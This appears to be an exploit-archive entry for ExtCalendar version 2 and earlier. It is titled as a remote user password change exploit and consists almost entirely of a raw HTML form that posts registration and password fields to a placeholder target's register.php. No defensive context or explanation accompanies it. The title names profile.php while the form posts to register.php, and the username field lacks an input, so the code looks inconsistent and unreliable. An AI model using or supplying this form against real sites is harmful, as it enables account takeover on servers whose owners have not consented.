Extcalendar <= 2 (profile.php) Remote User Pass Change Exploit

<form name="userform" action="http://[target]/register.php" method="post"> <input name="step" type="hidden" value="regform"> <tr> <td class='tableh2' colspan='2'>Account Information</td> </tr> <tr> <td class='tableb' width='160'>Username</td> <td class='tableb'> </td> </tr> <tr> <td class='tableb' width='160'>Password</td> <td class='tableb'><input type='password' name='password' class='textinput' value="" size='25' maxlength="16"> </td> </tr> <tr> <td class='tableb' width='160'>Confirm Password</td> <td class='tableb'><input type='password' name='password_confirm' class='textinput' value="" size='25' maxlength="16"> </td> </tr> <tr> <td class='tableb' width='160'>E-mail Address</td> <td class='tableb'><input type='text' name='email' class='textinput' value="" size='25'> </td> </tr> <tr> <td class='tableh2' colspan='2'>Other Details</td> </tr> <tr> <td class='tableb' width='160'>First Name</td> <td class='tableb'><input type='text' name='firstname' class='textinput' value="" size='25'> </td> </tr> <tr> <td class='tableb' width='160'>Last Name</td> <td class='tableb'><input type='text' name='lastname' class='textinput' value="" size='25'> </td> <tr> <td class='tableb' width='160'>Home page</td> <td class='tableb'><input type='text' name='user_website' class='textinput' value="" size='25'> </td> <tr> <td class='tableb' width='160'>Location</td> <td class='tableb'><input type='text' name='user_location' class='textinput' value="" size='25'> </td> <tr> <td class='tableb' width='160'>Occupation</td> <td class='tableb'><input type='text' name='user_occupation' class='textinput' value="" size='25'> </td> </tr> <tr> <td class='tablec' colspan='2' align='center' valign='middle' height='40'> <input name='submit' type='submit' value="  Submit my registration  " class='button'> </td> </tr> <!-- END submit_row --> </form>